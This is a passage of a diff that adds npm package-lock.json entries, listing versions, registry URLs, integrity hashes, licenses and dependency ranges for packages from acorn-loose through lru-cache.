"https://registry.npmjs.org/acorn-loose/-/acorn-loose-8.5.2.tgz", 2679 + "integrity": "sha512-PPvV6g8UGMGgjrMu+n/f9E/tCSkNQ2Y97eFvuVdJfG11+xdIeDcLyNdC8SHcrHbRqkfwLASdplyR6B6sKM1U4A==", 2680 + "license": "MIT", 2681 + "dependencies": { 2682 + "acorn": "^8.15.0" 2683 + }, 2684 + "engines": { 2685 + "node": ">=0.4.0" 2686 + } 2687 + }, 2688 + "node_modules/acorn-walk": { 2689 + "version": "8.3.2", 2690 + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.2.tgz", 2691 + "integrity": "sha512-cjkyv4OtNCIeqhHrfS81QWXoCBPExR/J62oyEqepVw8WaQeSqpW2uhuLPh1m9eWhDuOo/jUXVTlifvesOWp/4A==", 2692 + "dev": true, 2693 + "license": "MIT", 2694 + "engines": { 2695 + "node": ">=0.4.0" 2696 + } 2697 + }, 2698 + "node_modules/ajv": { 2699 + "version": "8.17.1", 2700 + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", 2701 + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", 2702 + "license": "MIT", 2703 + "peer": true, 2704 + "dependencies": { 2705 + "fast-deep-equal": "^3.1.3", 2706 + "fast-uri": "^3.0.1", 2707 + "json-schema-traverse": "^1.0.0", 2708 + "require-from-string": "^2.0.2" 2709 + }, 2710 + "funding": { 2711 + "type": "github", 2712 + "url": "https://github.com/sponsors/epoberezkin" 2713 + } 2714 + }, 2715 + "node_modules/ajv-formats": { 2716 + "version": "2.1.1", 2717 + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", 2718 + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", 2719 + "license": "MIT", 2720 + "peer": true, 2721 + "dependencies": { 2722 + "ajv": "^8.0.0" 2723 + }, 2724 + "peerDependencies": { 2725 + "ajv": "^8.0.0" 2726 + }, 2727 + "peerDependenciesMeta": { 2728 + "ajv": { 2729 + "optional": true 2730 + } 2731 + } 2732 + }, 2733 + "node_modules/ajv-keywords": { 2734 + "version": "5.1.0", 2735 + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", 2736 + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", 2737 + "license": "MIT", 2738 + "peer": true, 2739 + "dependencies": { 2740 + "fast-deep-equal": "^3.1.3" 2741 + }, 2742 + "peerDependencies": { 2743 + "ajv": "^8.8.2" 2744 + } 2745 + }, 2746 + "node_modules/assertion-error": { 2747 + "version": "2.0.1", 2748 + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", 2749 + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", 2750 + "dev": true, 2751 + "license": "MIT", 2752 + "engines": { 2753 + "node": ">=12" 2754 + } 2755 + }, 2756 + "node_modules/baseline-browser-mapping": { 2757 + "version": "2.9.7", 2758 + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.7.tgz", 2759 + "integrity": "sha512-k9xFKplee6KIio3IDbwj+uaCLpqzOwakOgmqzPezM0sFJlFKcg30vk2wOiAJtkTSfx0SSQDSe8q+mWA/fSH5Zg==", 2760 + "license": "Apache-2.0", 2761 + "bin": { 2762 + "baseline-browser-mapping": "dist/cli.js" 2763 + } 2764 + }, 2765 + "node_modules/blake3-wasm": { 2766 + "version": "2.1.5", 2767 + "resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz", 2768 + "integrity": "sha512-F1+K8EbfOZE49dtoPtmxUQrpXaBIl3ICvasLh+nJta0xkz+9kF/7uet9fLnwKqhDrmj6g+6K3Tw9yQPUg2ka5g==", 2769 + "dev": true, 2770 + "license": "MIT" 2771 + }, 2772 + "node_modules/browserslist": { 2773 + "version": "4.28.1", 2774 + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", 2775 + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", 2776 + "funding": [ 2777 + { 2778 + "type": "opencollective", 2779 + "url": "https://opencollective.com/browserslist" 2780 + }, 2781 + { 2782 + "type": "tidelift", 2783 + "url": "https://tidelift.com/funding/github/npm/browserslist" 2784 + }, 2785 + { 2786 + "type": "github", 2787 + "url": "https://github.com/sponsors/ai" 2788 + } 2789 + ], 2790 + "license": "MIT", 2791 + "dependencies": { 2792 + "baseline-browser-mapping": "^2.9.0", 2793 + "caniuse-lite": "^1.0.30001759", 2794 + "electron-to-chromium": "^1.5.263", 2795 + "node-releases": "^2.0.27", 2796 + "update-browserslist-db": "^1.2.0" 2797 + }, 2798 + "bin": { 2799 + "browserslist": "cli.js" 2800 + }, 2801 + "engines": { 2802 + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" 2803 + } 2804 + }, 2805 + "node_modules/buffer-from": { 2806 + "version": "1.1.2", 2807 + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", 2808 + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", 2809 + "license": "MIT", 2810 + "peer": true 2811 + }, 2812 + "node_modules/caniuse-lite": { 2813 + "version": "1.0.30001760", 2814 + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001760.tgz", 2815 + "integrity": "sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==", 2816 + "funding": [ 2817 + { 2818 + "type": "opencollective", 2819 + "url": "https://opencollective.com/browserslist" 2820 + }, 2821 + { 2822 + "type": "tidelift", 2823 + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" 2824 + }, 2825 + { 2826 + "type": "github", 2827 + "url": "https://github.com/sponsors/ai" 2828 + } 2829 + ], 2830 + "license": "CC-BY-4.0" 2831 + }, 2832 + "node_modules/chai": { 2833 + "version": "6.2.1", 2834 + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.1.tgz", 2835 + "integrity": "sha512-p4Z49OGG5W/WBCPSS/dH3jQ73kD6tiMmUM+bckNK6Jr5JHMG3k9bg/BvKR8lKmtVBKmOiuVaV2ws8s9oSbwysg==", 2836 + "dev": true, 2837 + "license": "MIT", 2838 + "engines": { 2839 + "node": ">=18" 2840 + } 2841 + }, 2842 + "node_modules/chrome-trace-event": { 2843 + "version": "1.0.4", 2844 + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz", 2845 + "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==", 2846 + "license": "MIT", 2847 + "peer": true, 2848 + "engines": { 2849 + "node": ">=6.0" 2850 + } 2851 + }, 2852 + "node_modules/codemirror": { 2853 + "version": "6.0.2", 2854 + "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-6.0.2.tgz", 2855 + "integrity": "sha512-VhydHotNW5w1UGK0Qj96BwSk/Zqbp9WbnyK2W/eVMv4QyF41INRGpjUhFJY7/uDNuudSc33a/PKr4iDqRduvHw==", 2856 + "license": "MIT", 2857 + "dependencies": { 2858 + "@codemirror/autocomplete": "^6.0.0", 2859 + "@codemirror/commands": "^6.0.0", 2860 + "@codemirror/language": "^6.0.0", 2861 + "@codemirror/lint": "^6.0.0", 2862 + "@codemirror/search": "^6.0.0", 2863 + "@codemirror/state": "^6.0.0", 2864 + "@codemirror/view": "^6.0.0" 2865 + } 2866 + }, 2867 + "node_modules/color": { 2868 + "version": "4.2.3", 2869 + "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz", 2870 + "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", 2871 + "dev": true, 2872 + "license": "MIT", 2873 + "dependencies": { 2874 + "color-convert": "^2.0.1", 2875 + "color-string": "^1.9.0" 2876 + }, 2877 + "engines": { 2878 + "node": ">=12.5.0" 2879 + } 2880 + }, 2881 + "node_modules/color-convert": { 2882 + "version": "2.0.1", 2883 + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", 2884 + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", 2885 + "dev": true, 2886 + "license": "MIT", 2887 + "dependencies": { 2888 + "color-name": "~1.1.4" 2889 + }, 2890 + "engines": { 2891 + "node": ">=7.0.0" 2892 + } 2893 + }, 2894 + "node_modules/color-name": { 2895 + "version": "1.1.4", 2896 + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", 2897 + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", 2898 + "dev": true, 2899 + "license": "MIT" 2900 + }, 2901 + "node_modules/color-string": { 2902 + "version": "1.9.1", 2903 + "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz", 2904 + "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", 2905 + "dev": true, 2906 + "license": "MIT", 2907 + "dependencies": { 2908 + "color-name": "^1.0.0", 2909 + "simple-swizzle": "^0.2.2" 2910 + } 2911 + }, 2912 + "node_modules/commander": { 2913 + "version": "2.20.3", 2914 + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", 2915 + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", 2916 + "license": "MIT", 2917 + "peer": true 2918 + }, 2919 + "node_modules/convert-source-map": { 2920 + "version": "2.0.0", 2921 + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", 2922 + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", 2923 + "dev": true, 2924 + "license": "MIT" 2925 + }, 2926 + "node_modules/crelt": { 2927 + "version": "1.0.6", 2928 + "resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.6.tgz", 2929 + "integrity": "sha512-VQ2MBenTq1fWZUH9DJNGti7kKv6EeAuYr3cLwxUWhIu1baTaXh4Ib5W2CqHVqib4/MqbYGJqiL3Zb8GJZr3l4g==", 2930 + "license": "MIT" 2931 + }, 2932 + "node_modules/debug": { 2933 + "version": "4.4.3", 2934 + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", 2935 + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", 2936 + "dev": true, 2937 + "license": "MIT", 2938 + "dependencies": { 2939 + "ms": "^2.1.3" 2940 + }, 2941 + "engines": { 2942 + "node": ">=6.0" 2943 + }, 2944 + "peerDependenciesMeta": { 2945 + "supports-color": { 2946 + "optional": true 2947 + } 2948 + } 2949 + }, 2950 + "node_modules/detect-libc": { 2951 + "version": "2.1.2", 2952 + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", 2953 + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", 2954 + "dev": true, 2955 + "license": "Apache-2.0", 2956 + "engines": { 2957 + "node": ">=8" 2958 + } 2959 + }, 2960 + "node_modules/electron-to-chromium": { 2961 + "version": "1.5.267", 2962 + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", 2963 + "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==", 2964 + "license": "ISC" 2965 + }, 2966 + "node_modules/enhanced-resolve": { 2967 + "version": "5.18.4", 2968 + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.4.tgz", 2969 + "integrity": "sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==", 2970 + "license": "MIT", 2971 + "peer": true, 2972 + "dependencies": { 2973 + "graceful-fs": "^4.2.4", 2974 + "tapable": "^2.2.0" 2975 + }, 2976 + "engines": { 2977 + "node": ">=10.13.0" 2978 + } 2979 + }, 2980 + "node_modules/error-stack-parser-es": { 2981 + "version": "1.0.5", 2982 + "resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz", 2983 + "integrity": "sha512-5qucVt2XcuGMcEGgWI7i+yZpmpByQ8J1lHhcL7PwqCwu9FPP3VUXzT4ltHe5i2z9dePwEHcDVOAfSnHsOlCXRA==", 2984 + "dev": true, 2985 + "license": "MIT", 2986 + "funding": { 2987 + "url": "https://github.com/sponsors/antfu" 2988 + } 2989 + }, 2990 + "node_modules/es-module-lexer": { 2991 + "version": "1.7.0", 2992 + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", 2993 + "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", 2994 + "license": "MIT" 2995 + }, 2996 + "node_modules/esbuild": { 2997 + "version": "0.27.0", 2998 + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.0.tgz", 2999 + "integrity": "sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==", 3000 + "dev": true, 3001 + "hasInstallScript": true, 3002 + "license": "MIT", 3003 + "bin": { 3004 + "esbuild": "bin/esbuild" 3005 + }, 3006 + "engines": { 3007 + "node": ">=18" 3008 + }, 3009 + "optionalDependencies": { 3010 + "@esbuild/aix-ppc64": "0.27.0", 3011 + "@esbuild/android-arm": "0.27.0", 3012 + "@esbuild/android-arm64": "0.27.0", 3013 + "@esbuild/android-x64": "0.27.0", 3014 + "@esbuild/darwin-arm64": "0.27.0", 3015 + "@esbuild/darwin-x64": "0.27.0", 3016 + "@esbuild/freebsd-arm64": "0.27.0", 3017 + "@esbuild/freebsd-x64": "0.27.0", 3018 + "@esbuild/linux-arm": "0.27.0", 3019 + "@esbuild/linux-arm64": "0.27.0", 3020 + "@esbuild/linux-ia32": "0.27.0", 3021 + "@esbuild/linux-loong64": "0.27.0", 3022 + "@esbuild/linux-mips64el": "0.27.0", 3023 + "@esbuild/linux-ppc64": "0.27.0", 3024 + "@esbuild/linux-riscv64": "0.27.0", 3025 + "@esbuild/linux-s390x": "0.27.0", 3026 + "@esbuild/linux-x64": "0.27.0", 3027 + "@esbuild/netbsd-arm64": "0.27.0", 3028 + "@esbuild/netbsd-x64": "0.27.0", 3029 + "@esbuild/openbsd-arm64": "0.27.0", 3030 + "@esbuild/openbsd-x64": "0.27.0", 3031 + "@esbuild/openharmony-arm64": "0.27.0", 3032 + "@esbuild/sunos-x64": "0.27.0", 3033 + "@esbuild/win32-arm64": "0.27.0", 3034 + "@esbuild/win32-ia32": "0.27.0", 3035 + "@esbuild/win32-x64": "0.27.0" 3036 + } 3037 + }, 3038 + "node_modules/escalade": { 3039 + "version": "3.2.0", 3040 + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", 3041 + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", 3042 + "license": "MIT", 3043 + "engines": { 3044 + "node": ">=6" 3045 + } 3046 + }, 3047 + "node_modules/eslint-scope": { 3048 + "version": "5.1.1", 3049 + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", 3050 + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", 3051 + "license": "BSD-2-Clause", 3052 + "peer": true, 3053 + "dependencies": { 3054 + "esrecurse": "^4.3.0", 3055 + "estraverse": "^4.1.1" 3056 + }, 3057 + "engines": { 3058 + "node": ">=8.0.0" 3059 + } 3060 + }, 3061 + "node_modules/esrecurse": { 3062 + "version": "4.3.0", 3063 + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", 3064 + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", 3065 + "license": "BSD-2-Clause", 3066 + "peer": true, 3067 + "dependencies": { 3068 + "estraverse": "^5.2.0" 3069 + }, 3070 + "engines": { 3071 + "node": ">=4.0" 3072 + } 3073 + }, 3074 + "node_modules/esrecurse/node_modules/estraverse": { 3075 + "version": "5.3.0", 3076 + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", 3077 + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", 3078 + "license": "BSD-2-Clause", 3079 + "peer": true, 3080 + "engines": { 3081 + "node": ">=4.0" 3082 + } 3083 + }, 3084 + "node_modules/estraverse": { 3085 + "version": "4.3.0", 3086 + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", 3087 + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", 3088 + "license": "BSD-2-Clause", 3089 + "peer": true, 3090 + "engines": { 3091 + "node": ">=4.0" 3092 + } 3093 + }, 3094 + "node_modules/estree-walker": { 3095 + "version": "3.0.3", 3096 + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", 3097 + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", 3098 + "dev": true, 3099 + "license": "MIT", 3100 + "dependencies": { 3101 + "@types/estree": "^1.0.0" 3102 + } 3103 + }, 3104 + "node_modules/events": { 3105 + "version": "3.3.0", 3106 + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", 3107 + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", 3108 + "license": "MIT", 3109 + "peer": true, 3110 + "engines": { 3111 + "node": ">=0.8.x" 3112 + } 3113 + }, 3114 + "node_modules/exit-hook": { 3115 + "version": "2.2.1", 3116 + "resolved": "https://registry.npmjs.org/exit-hook/-/exit-hook-2.2.1.tgz", 3117 + "integrity": "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==", 3118 + "dev": true, 3119 + "license": "MIT", 3120 + "engines": { 3121 + "node": ">=6" 3122 + }, 3123 + "funding": { 3124 + "url": "https://github.com/sponsors/sindresorhus" 3125 + } 3126 + }, 3127 + "node_modules/expect-type": { 3128 + "version": "1.3.0", 3129 + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", 3130 + "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", 3131 + "dev": true, 3132 + "license": "Apache-2.0", 3133 + "engines": { 3134 + "node": ">=12.0.0" 3135 + } 3136 + }, 3137 + "node_modules/fast-deep-equal": { 3138 + "version": "3.1.3", 3139 + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", 3140 + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", 3141 + "license": "MIT", 3142 + "peer": true 3143 + }, 3144 + "node_modules/fast-uri": { 3145 + "version": "3.1.0", 3146 + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", 3147 + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", 3148 + "funding": [ 3149 + { 3150 + "type": "github", 3151 + "url": "https://github.com/sponsors/fastify" 3152 + }, 3153 + { 3154 + "type": "opencollective", 3155 + "url": "https://opencollective.com/fastify" 3156 + } 3157 + ], 3158 + "license": "BSD-3-Clause", 3159 + "peer": true 3160 + }, 3161 + "node_modules/fsevents": { 3162 + "version": "2.3.2", 3163 + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", 3164 + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", 3165 + "dev": true, 3166 + "hasInstallScript": true, 3167 + "license": "MIT", 3168 + "optional": true, 3169 + "os": [ 3170 + "darwin" 3171 + ], 3172 + "engines": { 3173 + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" 3174 + } 3175 + }, 3176 + "node_modules/gensync": { 3177 + "version": "1.0.0-beta.2", 3178 + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", 3179 + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", 3180 + "dev": true, 3181 + "license": "MIT", 3182 + "engines": { 3183 + "node": ">=6.9.0" 3184 + } 3185 + }, 3186 + "node_modules/glob-to-regexp": { 3187 + "version": "0.4.1", 3188 + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", 3189 + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", 3190 + "license": "BSD-2-Clause" 3191 + }, 3192 + "node_modules/graceful-fs": { 3193 + "version": "4.2.11", 3194 + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", 3195 + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", 3196 + "license": "ISC", 3197 + "peer": true 3198 + }, 3199 + "node_modules/has-flag": { 3200 + "version": "4.0.0", 3201 + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", 3202 + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", 3203 + "license": "MIT", 3204 + "peer": true, 3205 + "engines": { 3206 + "node": ">=8" 3207 + } 3208 + }, 3209 + "node_modules/is-arrayish": { 3210 + "version": "0.3.4", 3211 + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz", 3212 + "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==", 3213 + "dev": true, 3214 + "license": "MIT" 3215 + }, 3216 + "node_modules/jest-worker": { 3217 + "version": "27.5.1", 3218 + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", 3219 + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", 3220 + "license": "MIT", 3221 + "peer": true, 3222 + "dependencies": { 3223 + "@types/node": "*", 3224 + "merge-stream": "^2.0.0", 3225 + "supports-color": "^8.0.0" 3226 + }, 3227 + "engines": { 3228 + "node": ">= 10.13.0" 3229 + } 3230 + }, 3231 + "node_modules/js-tokens": { 3232 + "version": "4.0.0", 3233 + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", 3234 + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", 3235 + "dev": true, 3236 + "license": "MIT" 3237 + }, 3238 + "node_modules/jsesc": { 3239 + "version": "3.1.0", 3240 + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", 3241 + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", 3242 + "dev": true, 3243 + "license": "MIT", 3244 + "bin": { 3245 + "jsesc": "bin/jsesc" 3246 + }, 3247 + "engines": { 3248 + "node": ">=6" 3249 + } 3250 + }, 3251 + "node_modules/json-parse-even-better-errors": { 3252 + "version": "2.3.1", 3253 + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", 3254 + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", 3255 + "license": "MIT", 3256 + "peer": true 3257 + }, 3258 + "node_modules/json-schema-traverse": { 3259 + "version": "1.0.0", 3260 + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", 3261 + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", 3262 + "license": "MIT", 3263 + "peer": true 3264 + }, 3265 + "node_modules/json5": { 3266 + "version": "2.2.3", 3267 + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", 3268 + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", 3269 + "dev": true, 3270 + "license": "MIT", 3271 + "bin": { 3272 + "json5": "lib/cli.js" 3273 + }, 3274 + "engines": { 3275 + "node": ">=6" 3276 + } 3277 + }, 3278 + "node_modules/kleur": { 3279 + "version": "4.1.5", 3280 + "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", 3281 + "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", 3282 + "dev": true, 3283 + "license": "MIT", 3284 + "engines": { 3285 + "node": ">=6" 3286 + } 3287 + }, 3288 + "node_modules/loader-runner": { 3289 + "version": "4.3.1", 3290 + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.1.tgz", 3291 + "integrity": "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q==", 3292 + "license": "MIT", 3293 + "peer": true, 3294 + "engines": { 3295 + "node": ">=6.11.5" 3296 + }, 3297 + "funding": { 3298 + "type": "opencollective", 3299 + "url": "https://opencollective.com/webpack" 3300 + } 3301 + }, 3302 + "node_modules/lru-cache": { 3303 + "version": "5.1.1", 3304 + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", 3305 + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", 3306 + "dev": true, 3307 + "license": "ISC", 3308 + "dependencies": { 3309 + "yallist": "^3.0.2" 3310 + } 3311 + 